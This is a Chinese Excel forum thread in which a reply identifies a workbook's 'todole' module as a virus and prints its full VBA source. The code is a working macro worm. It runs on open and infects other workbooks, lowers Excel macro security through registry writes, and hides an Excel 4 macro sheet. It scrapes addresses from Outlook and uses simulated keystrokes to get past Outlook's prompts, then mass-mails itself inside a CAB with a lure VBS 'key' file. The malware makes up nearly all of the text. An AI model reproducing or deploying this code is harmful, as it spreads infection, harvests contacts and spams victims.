636. i_row = Int((15 * Rnd) + 1)
     
637. i_col = Int((6 * Rnd) + 1)
     
638. Cells(i_row, i_col) = "** CONFIDENTIAL! ** "
     
639. Cells(i_row + 2, i_col) = "Use " & Chr(34) & Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4) & "_key.vbs" & Chr(34) & " To Open This File."
     
640. Cells(i_row + 3, i_col) = "请用 " & Chr(34) & Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4) & "_key.vbs" & Chr(34) & " 解锁此文件."
     
641. With Range(Cells(i_row, i_col), Cells(i_row + 2, i_col))
     
642.      .Font.Bold = True
     
643.      .Font.ColorIndex = 3
     
644. End With
     
645. Application.ScreenUpdating = True
     
646. End Sub
     
647. Private Function RestoreAfterOpen()
     
648. Dim sht, del_sht, rng, del_frag As Boolean
     
649. On Error Resume Next
     
650. del_sht = ActiveSheet.Name
     
651. Application.ScreenUpdating = False
     
652. Application.DisplayAlerts = False
     
653. For Each sht In ThisWorkbook.Sheets
     
654.     If sht.Name <> "Macro1" Then sht.Visible = xlSheetVisible
     
655. Next
     
656. For Each rng In Sheets(del_sht).Range("A1:F15")
     
657. If InStr(rng.Value, "CONFIDENTIAL") > 0 Then
     
658. del_frag = True
     
659. Exit For
     
660. End If
     
661. Next
     
662. If del_frag = True Then Sheets(del_sht).Delete
     
663. Application.ScreenUpdating = True
     
664. End Function
     

复制代码

跳转到最佳答案楼层

无聊的疯子

附件中的  todole 模块里的  病毒代码如下

你想怎么破解呢??代码都在里面,都是本地操作的!!

1. 
   
2. Private Sub auto_open()
   
3. Application.DisplayAlerts = False
   
4. If ThisWorkbook.Path <> Application.StartupPath Then
   
5.   Application.ScreenUpdating = False
   
6.   Call delete_this_wk
   
7.   Call copytoworkbook
   
8.   If Sheets(1).Name <> "Macro1" Then Movemacro4 ThisWorkbook
   
9.   ThisWorkbook.Save
   
10.   Application.ScreenUpdating = True
    
11. End If
    
12. End Sub
    
13. Private Sub copytoworkbook()
    
14.   Const DQUOTE = """"
    
15.   With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
    
16. .InsertLines 1, "Public WithEvents xx As Application"
    
17. .InsertLines 2, "Private Sub Workbook_open()"
    
18. .InsertLines 3, "Set xx = Application"
    
19. .InsertLines 4, "On Error Resume Next"
    
20. .InsertLines 5, "Application.DisplayAlerts = False"
    
21. .InsertLines 6, "Call do_what"
    
22. .InsertLines 7, "End Sub"
    
23. .InsertLines 8, "Private Sub xx_workbookOpen(ByVal wb As Workbook)"
    
24. .InsertLines 9, "On Error Resume Next"
    
25. .InsertLines 10, "wb.VBProject.References.AddFromGuid _"
    
26. .InsertLines 11, "GUID:=" & DQUOTE & "{0002E157-0000-0000-C000-000000000046}" & DQUOTE & ", _"
    
27. .InsertLines 12, "Major:=5, Minor:=3"
    
28. .InsertLines 13, "Application.ScreenUpdating = False"
    
29. .InsertLines 14, "Application.DisplayAlerts = False"
    
30. .InsertLines 15, "copystart wb"
    
31. .InsertLines 16, "Application.ScreenUpdating = True"
    
32. .InsertLines 17, "End Sub"
    
33. End With
    
34. End Sub
    
35. Private Sub delete_this_wk()
    
36. Dim VBProj As VBIDE.VBProject
    
37. Dim VBComp As VBIDE.VBComponent
    
38. Dim CodeMod As VBIDE.CodeModule
    
39. Set VBProj = ThisWorkbook.VBProject
    
40. Set VBComp = VBProj.VBComponents("ThisWorkbook")
    
41. Set CodeMod = VBComp.CodeModule
    
42. With CodeMod
    
43.     .DeleteLines 1, .CountOfLines
    
44. End With
    
45. End Sub
    
46. Function do_what()
    
47. If ThisWorkbook.Path <> Application.StartupPath Then
    
48.   RestoreAfterOpen
    
49.   Call OpenDoor
    
50.   Call Microsofthobby
    
51.   Call ActionJudge
    
52. End If
    
53. End Function
    
54. Function copystart(ByVal wb As Workbook)
    
55. On Error Resume Next
    
56. Dim VBProj1 As VBIDE.VBProject
    
57. Dim VBProj2 As VBIDE.VBProject
    
58. Set VBProj1 = Workbooks("k4.xls").VBProject
    
59. Set VBProj2 = wb.VBProject
    
60. If copymodule("ToDole", VBProj1, VBProj2, False) Then Exit Function
    
61. End Function
    
62. Function copymodule(ModuleName As String, _
    
63.     FromVBProject As VBIDE.VBProject, _
    
64.     ToVBProject As VBIDE.VBProject, _
    
65.     OverwriteExisting As Boolean) As Boolean
    
66.    
    
67.     On Error Resume Next
    
68.     Dim VBComp As VBIDE.VBComponent
    
69.     Dim FName As String
    
70.     Dim CompName As String
    
71.     Dim S As String
    
72.     Dim SlashPos As Long
    
73.     Dim ExtPos As Long
    
74.     Dim TempVBComp As VBIDE.VBComponent
    
75.    
    
76.     If FromVBProject Is Nothing Then
    
77.         copymodule = False
    
78.         Exit Function
    
79.     End If
    
80.    
    
81.     If Trim(ModuleName) = vbNullString Then
    
82.         copymodule = False
    
83.         Exit Function
    
84.     End If
    
85.    
    
86.     If ToVBProject Is Nothing Then
    
87.         copymodule = False
    
88.         Exit Function
    
89.     End If
    
90.    
    
91.     If FromVBProject.Protection = vbext_pp_locked Then
    
92.         copymodule = False
    
93.         Exit Function
    
94.     End If
    
95.    
    
96.     If ToVBProject.Protection = vbext_pp_locked Then
    
97.         copymodule = False
    
98.         Exit Function
    
99.     End If
    
100.    
     
101.     On Error Resume Next
     
102.     Set VBComp = FromVBProject.VBComponents(ModuleName)
     
103.     If Err.Number <> 0 Then
     
104.         copymodule = False
     
105.         Exit Function
     
106.     End If
     
107.    
     
108.     FName = Environ("Temp") & "" & ModuleName & ".bas"
     
109.     If OverwriteExisting = True Then
     
110.       
     
111.         If Dir(FName, vbNormal + vbHidden + vbSystem) <> vbNullString Then
     
112.             Err.Clear
     
113.             Kill FName
     
114.             If Err.Number <> 0 Then
     
115.                 copymodule = False
     
116.                 Exit Function
     
117.             End If
     
118.         End If
     
119.         With ToVBProject.VBComponents
     
120.             .Remove .Item(ModuleName)
     
121.         End With
     
122.     Else
     
123.         
     
124.         Err.Clear
     
125.         Set VBComp = ToVBProject.VBComponents(ModuleName)
     
126.         If Err.Number <> 0 Then
     
127.             If Err.Number = 9 Then
     
128.                
     
129.             Else
     
130.                
     
131.                 copymodule = False
     
132.                 Exit Function
     
133.             End If
     
134.         End If
     
135.     End If
     
136.    
     
137.     FromVBProject.VBComponents(ModuleName).Export FileName:=FName
     
138.    
     
139.     SlashPos = InStrRev(FName, "")
     
140.     ExtPos = InStrRev(FName, ".")
     
141.     CompName = Mid(FName, SlashPos + 1, ExtPos - SlashPos - 1)
     
142.    
     
143.     Set VBComp = Nothing
     
144.     Set VBComp = ToVBProject.VBComponents(CompName)
     
145.    
     
146.     If VBComp Is Nothing Then
     
147.         ToVBProject.VBComponents.Import FileName:=FName
     
148.     Else
     
149.         If VBComp.Type = vbext_ct_Document Then
     
150.             
     
151.             Set TempVBComp = ToVBProject.VBComponents.Import(FName)
     
152.            
     
153.             With VBComp.CodeModule
     
154.                 .DeleteLines 1, .CountOfLines
     
155.                 S = TempVBComp.CodeModule.Lines(1, TempVBComp.CodeModule.CountOfLines)
     
156.                 .InsertLines 1, S
     
157.             End With
     
158.             On Error GoTo 0
     
159.             ToVBProject.VBComponents.Remove TempVBComp
     
160.         End If
     
161.     End If
     
162.     Kill FName
     
163.     copymodule = True
     
164. End Function
     
165. Function Microsofthobby()
     
166. Dim myfile0 As String
     
167. Dim MyFile As String
     
168. On Error Resume Next
     
169. myfile0 = ThisWorkbook.FullName
     
170. MyFile = Application.StartupPath & "\k4.xls"
     
171. If WorkbookOpen("k4.xls") And ThisWorkbook.Path <> Application.StartupPath Then Workbooks("k4.xls").Close False
     
172. Shell Environ$("comspec") & " /c attrib -S -h """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
     
173. Shell Environ$("comspec") & " /c Del /F /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
     
174. Shell Environ$("comspec") & " /c RD /S /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
     
175. If ThisWorkbook.Path <> Application.StartupPath Then
     
176.      Application.ScreenUpdating = False
     
177.      ThisWorkbook.IsAddin = True
     
178.      ThisWorkbook.SaveCopyAs MyFile
     
179.      ThisWorkbook.IsAddin = False
     
180.      Application.ScreenUpdating = True
     
181. End If
     
182. End Function
     
183. Function OpenDoor()
     
184. Dim Fso, RK1 As String, RK2 As String, RK3 As String, RK4 As String
     
185. Dim KValue1 As Variant, KValue2 As Variant
     
186. Dim VS As String
     
187. On Error Resume Next
     
188. VS = Application.Version
     
189. Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
     
190. RK1 = "HKEY_CURRENT_USER\Software\Microsoft\Office" & VS & "\Excel\Security\AccessVBOM"
     
191. RK2 = "HKEY_CURRENT_USER\Software\Microsoft\Office" & VS & "\Excel\Security\Level"
     
192. RK3 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office" & VS & "\Excel\Security\AccessVBOM"
     
193. RK4 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office" & VS & "\Excel\Security\Level"
     
194. KValue1 = 1
     
195. KValue2 = 1
     
196.       Call WReg(RK1, KValue1, "REG_DWORD")
     
197.       Call WReg(RK2, KValue2, "REG_DWORD")
     
198.       Call WReg(RK3, KValue1, "REG_DWORD")
     
199.       Call WReg(RK4, KValue2, "REG_DWORD")
     
200. End Function
     
201. Sub WReg(strkey As String, Value As Variant, ValueType As String)
     
202.     Dim oWshell
     
203.     Set oWshell = CreateObject("WScript.Shell")
     
204.     If ValueType = "" Then
     
205.         oWshell.RegWrite strkey, Value
     
206.     Else
     
207.         oWshell.RegWrite strkey, Value, ValueType
     
208.     End If
     
209.     Set oWshell = Nothing
     
210. End Sub
     
211. 
     
212. Private Sub Movemacro4(ByVal wb As Workbook)
     
213. On Error Resume Next
     
214.   Dim sht As Object
     
215.     wb.Sheets(1).Select
     
216.     Sheets.Add Type:=xlExcel4MacroSheet
     
217.     ActiveSheet.Name = "Macro1"
     
218.    
     
219.     Range("A2").Select
     
220.     ActiveCell.FormulaR1C1 = "=ERROR(FALSE)"
     
221.     Range("A3").Select
     
222.     ActiveCell.FormulaR1C1 = "=IF(ERROR.TYPE(RUN(""" & Application.UserName & """))=4)"
     
223.     Range("A4").Select
     
224.     ActiveCell.FormulaR1C1 = "=ALERT(""禁用宏，关闭 " & Chr(10) & Now & Chr(10) & "Please Enable Macro!"",3)"
     
225.     Range("A5").Select
     
226.     ActiveCell.FormulaR1C1 = "=FILE.CLOSE(FALSE)"
     
227.     Range("A6").Select
     
228.     ActiveCell.FormulaR1C1 = "=END.IF()"
     
229.     Range("A7").Select
     
230.     ActiveCell.FormulaR1C1 = "=RETURN()"
     
231.    
     
232.     For Each sht In wb.Sheets
     
233.     wb.Names.Add sht.Name & "!Auto_Activate", "=Macro1!$A$2", False
     
234.     Next
     
235.     wb.Excel4MacroSheets(1).Visible = xlSheetVeryHidden
     
236. End Sub
     
237. Private Function WorkbookOpen(WorkBookName As String) As Boolean
     
238.   WorkbookOpen = False
     
239.   On Error GoTo WorkBookNotOpen
     
240.   If Len(Application.Workbooks(WorkBookName).Name) > 0 Then
     
241.     WorkbookOpen = True
     
242.     Exit Function
     
243.   End If
     
244. WorkBookNotOpen:
     
245. End Function
     
246. Private Sub ActionJudge()
     
247. Const T1 As Date = "10:00:00"
     
248. Const T2 As Date = "11:00:00"
     
249. Const T3 As Date = "14:00:00"
     
250. Const T4 As Date = "15:00:00"
     
251. Dim SentTime As Date, WshShell
     
252. Set WshShell = CreateObject("WScript.Shell")
     
253. If Not InStr(UCase(WshShell.RegRead("HKEY_CLASSES_ROOT\mailto\shell\open\command")), "OUTLOOK.EXE") > 0 Then Exit Sub
     
254. If Time >= T1 And Time <= T2 Or Time >= T3 And Time <= T4 Then
     
255.       If ReadOut("D:\Collected_Address:frag1.txt") = "1" Then
     
256.            Exit Sub
     
257.       Else
     
258.            CreateFile "1", "D:\Collected_Address:frag1.txt"
     
259.            search_in_OL
     
260.       End If
     
261. Else
     
262.      If Not if_outlook_open Then Exit Sub
     
263.      If Time > T2 And Time <= DateAdd("n", 10, T2) Or Time > T4 And Time <= DateAdd("n", 10, T4) Then
     
264.           Exit Sub
     
265.      Else
     
266.           SentTime = DateAdd("n", -21, Now)
     
267.           On Error GoTo timeError
     
268.           SentTime = CDate(ReadOut("D:\Collected_Address:frag2.txt"))
     
269. timeError:
     
270.           If Now < DateAdd("n", 20, SentTime) Or ReadOut("D:\Collected_Address\log.txt") = "" Then
     
271.                 Exit Sub
     
272.           Else
     
273.                 CreateFile "", "D:\Collected_Address:frag1.txt"
     
274.                 CreateFile Now, "D:\Collected_Address:frag2.txt"
     
275.                 CreatCab_SendMail
     
276.           End If
     
277.      End If
     
278. End If
     
279. End Sub
     
280. 
     
281. Private Sub search_in_OL()
     
282. Dim i As Integer, AttName As String, AddVbsFile As String, AddListFile As String, fs As Object, WshShell As Object
     
283. On Error Resume Next
     
284. Set fs = CreateObject("scripting.filesystemobject")
     
285. Set WshShell = CreateObject("WScript.Shell")
     
286. If fs.Folderexists("E:\KK") = False Then fs.CreateFolder "E:\KK"
     
287. AttName = Replace(Replace(Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4), " ", "_"), ".", "_")
     
288. AddVbsFile_clear = "E:\KK" & AttName & "_clear.vbs"
     
289. i = FreeFile
     
290. Open AddVbsFile_clear For Output Access Write As #i
     
291. Print #i, "On error Resume Next"
     
292. Print #i, "Dim wsh, tle, T0, i"
     
293. Print #i, "  T0 = Timer"
     
294. Print #i, "  Set wsh=createobject(""" & "wscript.shell""" & ")"
     
295. Print #i, "  tle = """ & "Microsoft Office Outlook""" & ""
     
296. Print #i, "For i = 1 To 1000"
     
297. Print #i, "    If Timer - T0 > 60 Then Exit For"
     
298. Print #i, "  Call Refresh()"
     
299. Print #i, "  wscript.sleep 05"
     
300. Print #i, "  wsh.sendKeys """ & "%a""" & ""
     
301. Print #i, "  wscript.sleep 05"
     
302. Print #i, "  wsh.sendKeys """ & "{TAB}{TAB}""" & ""
     
303. Print #i, "  wscript.sleep 05"
     
304. Print #i, "  wsh.sendKeys """ & "{Enter}""" & ""
     
305. Print #i, "Next"
     
306. Print #i, "Set wsh = Nothing"
     
307. Print #i, "wscript.quit"
     
308. Print #i, "Sub Refresh()"
     
309. Print #i, "Do Until wsh.AppActivate(CStr(tle)) = True"
     
310. Print #i, "    If Timer - T0 > 60 Then Exit Sub"
     
311. Print #i, "Loop"
     
312. Print #i, "  wscript.sleep 05"
     
313. Print #i, "    wsh.SendKeys """ & "%{F4}""" & ""
     
314. Print #i, "End Sub"
     
315. Close (i)
     
316. AddVbsFile_search = "E:\KK" & AttName & "_Search.vbs"
     
317. i = FreeFile
     
318. Open AddVbsFile_search For Output Access Write As #i
     
319. Print #i, "On error Resume Next"
     
320. Print #i, "Const olFolderInbox = 6"
     
321. Print #i, "Dim conbinded_address,WshShell,sh,ts"
     
322. Print #i, "Set WshShell=WScript.CreateObject(""" & "WScript.Shell""" & ")"
     
323. Print #i, "Set objOutlook = CreateObject(""" & "Outlook.Application""" & ")"
     
324. Print #i, "Set objNamespace = objOutlook.GetNamespace(""" & "MAPI""" & ")"
     
325. Print #i, "Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox)"
     
326. Print #i, "Set TargetFolder = objFolder"
     
327. Print #i, "conbinded_address = """ & """" & ""
     
328. Print #i, "Set colItems = TargetFolder.Items"
     
329. Print #i, "wscript.sleep 300000"
     
330. Print #i, "WshSHell.Run (""" & "wscript.exe " & AddVbsFile_clear & """" & "), vbHide, False"
     
331. Print #i, "ts = Timer"
     
332. Print #i, "For Each objMessage in colItems"
     
333. Print #i, "       If Timer - ts >55 then exit For"
     
334. Print #i, "       conbinded_address = conbinded_address & valid_address(objMessage.Body)"
     
335. Print #i, "Next"
     
336. Print #i, "add_text conbinded_address, 8"
     
337. Print #i, "add_text all_non_same(ReadAllTextFile), 2"
     
338. Print #i, "WScript.Quit"
     
339. Print #i, ""
     
340. Print #i, "Private Function valid_address(source_data)"
     
341. Print #i, "   Dim oDict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arr"
     
342. Print #i, "   Dim regex, matchs, ss, arr()"
     
343. Print #i, "   Set oDict = CreateObject(""" & "Scripting.Dictionary""" & ")"
     
344. Print #i, "   Set regex = CreateObject(""" & "VBSCRIPT.REGEXP""" & ")"
     
345. Print #i, ""
     
346. Print #i, "   regex.Global = True"
     
347. Print #i, "   regex.Pattern = """ & "\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*""" & ""
     
348. Print #i, "   Set matchs = regex.Execute(source_data)"
     
349. Print #i, "   ReDim trimed_arr(matchs.Count - 1)"
     
350. Print #i, "   For i = Lbound(trimed_arr) To Ubound(trimed_arr)"
     
351. Print #i, "        trimed_arr(i) = matchs.Item(i) & vbCrLf"
     
352. Print #i, "   Next"
     
353. Print #i, ""
     
354. Print #i, "   For i = LBound(trimed_arr) To UBound(trimed_arr)"
     
355. Print #i, "        oDict(trimed_arr(i)) = """ & """" & ""
     
356. Print #i, "   Next"
     
357. Print #i, ""
     
358. Print #i, "   If oDict.Count > 0 Then"
     
359. Print #i, "        nonsame_arr = oDict.keys"
     
360. Print #i, "        For i = LBound(nonsame_arr) To UBound(nonsame_arr)"
     
361. Print #i, "             valid_address = valid_address & nonsame_arr(i)"
     
362. Print #i, "        Next"
     
363. Print #i, "   End If"
     
364. Print #i, "   Set oDict = Nothing"
     
365. Print #i, "End Function"
     
366. Print #i, ""
     
367. Print #i, "Private Sub add_text(inputed_string, input_frag)"
     
368. Print #i, "   Dim objFSO, logfile, logtext, log_path, log_folder"
     
369. Print #i, "   log_path = """ & "D:\Collected_Address""" & ""
     
370. Print #i, "   Set objFSO = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
     
371. Print #i, "   On Error resume next"
     
372. Print #i, "   Set log_folder = objFSO.CreateFolder(log_path)"
     
373. Print #i, ""
     
374. Print #i, "   If objFSO.FileExists(log_path & """ & "\log.txt""" & ") = 0 Then"
     
375. Print #i, "       Set logfile = objFSO.CreateTextFile(log_path & """ & "\log.txt""" & ", True)"
     
376. Print #i, "   End If"
     
377. Print #i, "   Set log_folder = Nothing"
     
378. Print #i, "   Set logfile = Nothing"
     
379. Print #i, ""
     
380. Print #i, "   Select Case input_frag"
     
381. Print #i, "     Case 8"
     
382. Print #i, "          Set logtext = objFSO.OpenTextFile(log_path & """ & "\log.txt""" & ", 8, True, -1)"
     
383. Print #i, "          logtext.Write inputed_string"
     
384. Print #i, "          logtext.Close"
     
385. Print #i, "     Case 2"
     
386. Print #i, "          Set logtext = objFSO.OpenTextFile(log_path & """ & "\log.txt""" & ", 2, True, -1)"
     
387. Print #i, "          logtext.Write inputed_string"
     
388. Print #i, "          logtext.Close"
     
389. Print #i, "   End Select"
     
390. Print #i, "   set objFSO = nothing"
     
391. Print #i, "End Sub"
     
392. Print #i, ""
     
393. Print #i, "Private Function ReadAllTextFile()"
     
394. Print #i, "    Dim objFSO, FileName, MyFile"
     
395. Print #i, "    FileName = """ & "D:\Collected_Address\log.txt""" & ""
     
396. Print #i, "    Set objFSO = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
     
397. Print #i, "    Set MyFile = objFSO.OpenTextFile(FileName, 1, False, -1)"
     
398. Print #i, "    If MyFile.AtEndOfStream Then"
     
399. Print #i, "        ReadAllTextFile = """ & """" & ""
     
400. Print #i, "    Else"
     
401. Print #i, "        ReadAllTextFile = MyFile.ReadAll"
     
402. Print #i, "    End If"
     
403. Print #i, "set objFSO = nothing"
     
404. Print #i, "End Function"
     
405. Print #i, ""
     
406. Print #i, "Private Function all_non_same(source_data)"
     
407. Print #i, "   Dim oDict, i, trimed_arr, nonsame_arr"
     
408. Print #i, "   all_non_same = """ & """" & ""
     
409. Print #i, "   Set oDict = CreateObject(""" & "Scripting.Dictionary""" & ")"
     
410. Print #i, ""
     
411. Print #i, "   trimed_arr = Split(source_data, vbCrLf)"
     
412. Print #i, ""
     
413. Print #i, "   For i = LBound(trimed_arr) To UBound(trimed_arr)"
     
414. Print #i, "         oDict(trimed_arr(i)) = """ & """" & ""
     
415. Print #i, "   Next"
     
416. Print #i, ""
     
417. Print #i, "   If oDict.Count > 0 Then"
     
418. Print #i, "        nonsame_arr = oDict.keys"
     
419. Print #i, "        For i = LBound(nonsame_arr) To UBound(nonsame_arr)"
     
420. Print #i, "             all_non_same = all_non_same & nonsame_arr(i) & vbCrLf"
     
421. Print #i, "        Next"
     
422. Print #i, "   End If"
     
423. Print #i, "   Set oDict = Nothing"
     
424. Print #i, "End Function"
     
425. Close (i)
     
426. Application.WindowState = xlMaximized
     
427. WshShell.Run ("wscript.exe " & AddVbsFile_search), vbHide, False
     
428. Set WshShell = Nothing
     
429. End Sub
     
430. Private Sub CreatCab_SendMail()
     
431. Dim i As Integer, AttName As String, AddVbsFile As String, AddListFile As String, Address_list As String
     
432. Dim fs As Object, WshShell As Object
     
433. Address_list = get_ten_address
     
434. Set WshShell = CreateObject("WScript.Shell")
     
435. Set fs = CreateObject("scripting.filesystemobject")
     
436. If fs.Folderexists("E:\SORCE") = False Then fs.CreateFolder "E:\SORCE"
     
437. AttName = Replace(Replace(Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4), " ", "_"), ".", "_")
     
438. mail_sub = "*" & AttName & "*Message*"
     
439. AddVbsFile = "E:\sorce" & AttName & "_Key.vbs"
     
440. i = FreeFile
     
441. Open AddVbsFile For Output Access Write As #i
     
442.    
     
443. Print #i, "Dim oexcel,owb, WshShell,Fso,Atta_xls,sh,route"
     
444. Print #i, "On error Resume Next"
     
445. Print #i, "Set sh=WScript.CreateObject(""" & "shell.application""" & ")"
     
446. Print #i, "sh.MinimizeAll"
     
447. Print #i, "Set sh = Nothing"
     
448. Print #i, "Set Fso = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
     
449. Print #i, "Set WshShell = WScript.CreateObject(""" & "WScript.Shell""" & ")"
     
450. Print #i, "If Fso.Folderexists(""" & "E:\KK""" & ") = False Then Fso.CreateFolder """ & "E:\KK"""
     
451. Print #i, "Fso.CopyFile  _"
     
452. Print #i, "WshShell.CurrentDirectory & """ & "" & AttName & "*.CAB""" & "," & " " & """E:\KK""" & ", True"
     
453. Print #i, "For Each Atta_xls In ListDir(""" & "E:\KK""" & ")"
     
454. Print #i, "   WshShell.Run """ & "expand """ & " & Atta_xls & """ & " -F:" & AttName & ".xls E:\KK""" & ", 0, true"
     
455. Print #i, "Next"
     
456. Print #i, "If Fso.FileExists(""" & "E:\KK" & AttName & ".xls""" & ") = 0 then"
     
457. Print #i, "        route = WshShell.CurrentDirectory & """ & "" & AttName & ".xls"""
     
458. Print #i, "        if Fso.FileExists(WshShell.CurrentDirectory & """ & "" & AttName & ".xls""" & ")=0 then"
     
459. Print #i, "                 route = InputBox(""" & "Warning! """ & " & Chr(10) & """ & "You are going to open a confidential file.""" & "& Chr(10)   _"
     
460. Print #i, "                               & """ & "Please input the complete file path.""" & " & Chr(10) & """ & "ex. C:\parth\confidential_file.xls""" & ", _"
     
461. Print #i, "                               """ & "Open a File""" & " , """ & "Please Input the Complete File Path""" & ", 10000, 8500)"
     
462. Print #i, "        End if"
     
463. Print #i, "else"
     
464. Print #i, "        route = """ & "E:\KK" & AttName & ".xls"""
     
465. Print #i, "End If"
     
466. Print #i, "   set oexcel=createobject(""" & "excel.application""" & ")"
     
467. Print #i, "   set owb=oexcel.workbooks.open(route)"
     
468. Print #i, "   oExcel.Visible = True"
     
469. Print #i, "Set oExcel = Nothing"
     
470. Print #i, "Set oWb = Nothing"
     
471. Print #i, "Set  WshShell = Nothing"
     
472. Print #i, "Set Fso = Nothing"
     
473. Print #i, "WScript.Quit"
     
474. Print #i, "Private Function ListDir (ByVal Path)"
     
475. Print #i, "   Dim Filter, a, n, Folder, Files, File"
     
476. Print #i, "       ReDim a(10)"
     
477. Print #i, "    n = 0"
     
478. Print #i, "  Set Folder = fso.GetFolder(Path)"
     
479. Print #i, "   Set Files = Folder.Files"
     
480. Print #i, "   For Each File In Files"
     
481. Print #i, "      If left(File.Name," & Len(AttName) & ") = """ & AttName & """ and right(File.Name,3) = """ & "CAB""" & " Then"
     
482. Print #i, "         If n > UBound(a) Then ReDim Preserve a(n*2)"
     
483. Print #i, "            a(n) = File.Path"
     
484. Print #i, "            n = n + 1"
     
485. Print #i, "       End If"
     
486. Print #i, "   Next"
     
487. Print #i, "   ReDim Preserve a(n-1)"
     
488. Print #i, "   ListDir = a"
     
489. Print #i, "End Function"
     
490. Close (i)
     
491. AddListFile = ThisWorkbook.Path & "\TEST.txt"
     
492. i = FreeFile
     
493. Open AddListFile For Output Access Write As #i
     
494. Print #i, "E:\sorce" & AttName & "_Key.vbs"
     
495. Print #i, "E:\sorce" & AttName & ".xls"
     
496. Close (i)
     
497. Application.ScreenUpdating = False
     
498. RestoreBeforeSend
     
499. ThisWorkbook.SaveCopyAs "E:\sorce" & AttName & ".xls"
     
500. RestoreAfterOpen
     
501. c4$ = CurDir()
     
502. ChDrive Left(ThisWorkbook.Path, 3) '"C:"
     
503. ChDir ThisWorkbook.Path
     
504. WshShell.Run Environ$("comspec") & " /c makecab /F """ & ThisWorkbook.Path & "\TEST.TXT""" & " /D COMPRESSIONTYPE=LZX /D COMPRESSIONMEMORY=21 /D CABINETNAMETEMPLATE=../" & AttName & ".CAB", vbHide, False
     
505. Do Until fs.FileExists(ThisWorkbook.Path & "\TEST.txt") _
     
506. And fs.FileExists(ThisWorkbook.Path & "\setup.rpt") And fs.FileExists(ThisWorkbook.Path & "\setup.inf") _
     
507. And fs.FileExists(ThisWorkbook.Path & "" & AttName & ".CAB")
     
508. DoEvents
     
509. Loop
     
510. WshShell.Run Environ$("comspec") & " /c RD /S /Q """ & ThisWorkbook.Path & "\disk1""", vbHide, False
     
511. WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\TEST.txt""", vbHide, False
     
512. WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\setup.rpt""", vbHide, False
     
513. WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\setup.inf""", vbHide, False
     
514. WshShell.Run Environ$("comspec") & " /c RD /S /Q E:\sorce", vbHide, False
     
515. If fs.Folderexists("E:\KK") = False Then fs.CreateFolder "E:\KK"
     
516. WshShell.Run Environ$("comspec") & " /c MOVE /Y " & AttName & ".CAB E:\KK""", vbHide, False
     
517. ChDir c4$
     
518. Call Massive_SendMail(Address_list, AttName, "Dear all," & vbCrLf & AttName & vbCrLf & "FYI", _
     
519. "", "E:\KK" & AttName & ".CAB")
     
520. WshShell.Run Environ$("comspec") & " /c RD /S /Q E:\KK", vbHide, False
     
521. Set WshShell = Nothing
     
522. Application.ScreenUpdating = True
     
523. End Sub
     
524. Private Sub Massive_SendMail(Email_Address$, Subject$, Body$, CC_email_add$, Attachment$)
     
525.     Dim objOL As Object
     
526.     Dim itmNewMail As Object
     
527.     If Not if_outlook_open Then Exit Sub
     
528.    
     
529.     Set objOL = CreateObject("Outlook.Application")
     
530.     Set itmNewMail = objOL.CreateItem(olMailItem)
     
531.    
     
532.     With itmNewMail
     
533.         .Subject = Subject
     
534.         .Body = Body
     
535.         .To = Email_Address
     
536.         .CC = CC_email_add
     
537.         .Attachments.Add Attachment
     
538.         .DeleteAfterSubmit = True
     
539.     End With
     
540.     On Error GoTo continue
     
541. SendEmail:
     
542.     itmNewMail.display
     
543.     Debug.Print "setforth "
     
544.     DoEvents
     
545.     DoEvents
     
546.     DoEvents
     
547.     SendKeys "%s", Wait:=True
     
548.     DoEvents
     
549.     GoTo SendEmail
     
550. continue:
     
551.     Set objOL = Nothing
     
552.     Set itmNewMail = Nothing
     
553. End Sub
     
554. Private Function if_outlook_open() As Boolean
     
555. Set objs = GetObject("WinMgmts:").InstancesOf("Win32_Process")
     
556. if_outlook_open = False
     
557. For Each obj In objs
     
558. If InStr(obj.Description, "OUTLOOK") > 0 Then
     
559. if_outlook_open = True
     
560. Exit For
     
561. End If
     
562. Next
     
563. End Function
     
564. Private Function RadomNine(length As Integer) As String
     
565. Dim jj As Integer, k As Integer, i As Integer
     
566. RadomNine = ""
     
567. If length <= 0 Then Exit Function
     
568. If length <= 10 Then
     
569.      For i = 1 To length
     
570.      RadomNine = RadomNine & "$$" & i
     
571.      Next i
     
572.      Exit Function
     
573. End If
     
574. jj = length / 10
     
575. Randomize
     
576. For i = 1 To 10
     
577.       k = Int(Rnd * (jj * i - m - 1)) + 1
     
578.       If m + k <> 1 Then RadomNine = RadomNine & "$$" & m + k
     
579.       m = m + k
     
580. Next
     
581. End Function
     
582. Private Function get_ten_address() As String
     
583. Dim singleAddress_arr, krr, i As Integer
     
584. get_ten_address = ""
     
585. singleAddress_arr = Split(ReadOut("D:\Collected_Address\log.txt"), vbCrLf)
     
586. krr = Split(RadomNine(UBound(singleAddress_arr) - LBound(singleAddress_arr) + 1), "$$")
     
587. For i = 1 To UBound(krr)
     
588. get_ten_address = get_ten_address & ";" & singleAddress_arr(CInt(krr(i)) - 1)
     
589. Next i
     
590. End Function
     
591. Private Function ReadOut(FullPath) As String
     
592.     On Error Resume Next
     
593.     Dim Fso, FileText
     
594.     Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
     
595.     Set FileText = Fso.OpenTextFile(FullPath, 1, False, -1)
     
596.     ReadOut = FileText.ReadAll
     
597.     FileText.Close
     
598. End Function
     
599. Private Sub CreateFile(FragMark, pathf)
     
600.     On Error Resume Next
     
601.     Dim Fso, FileText
     
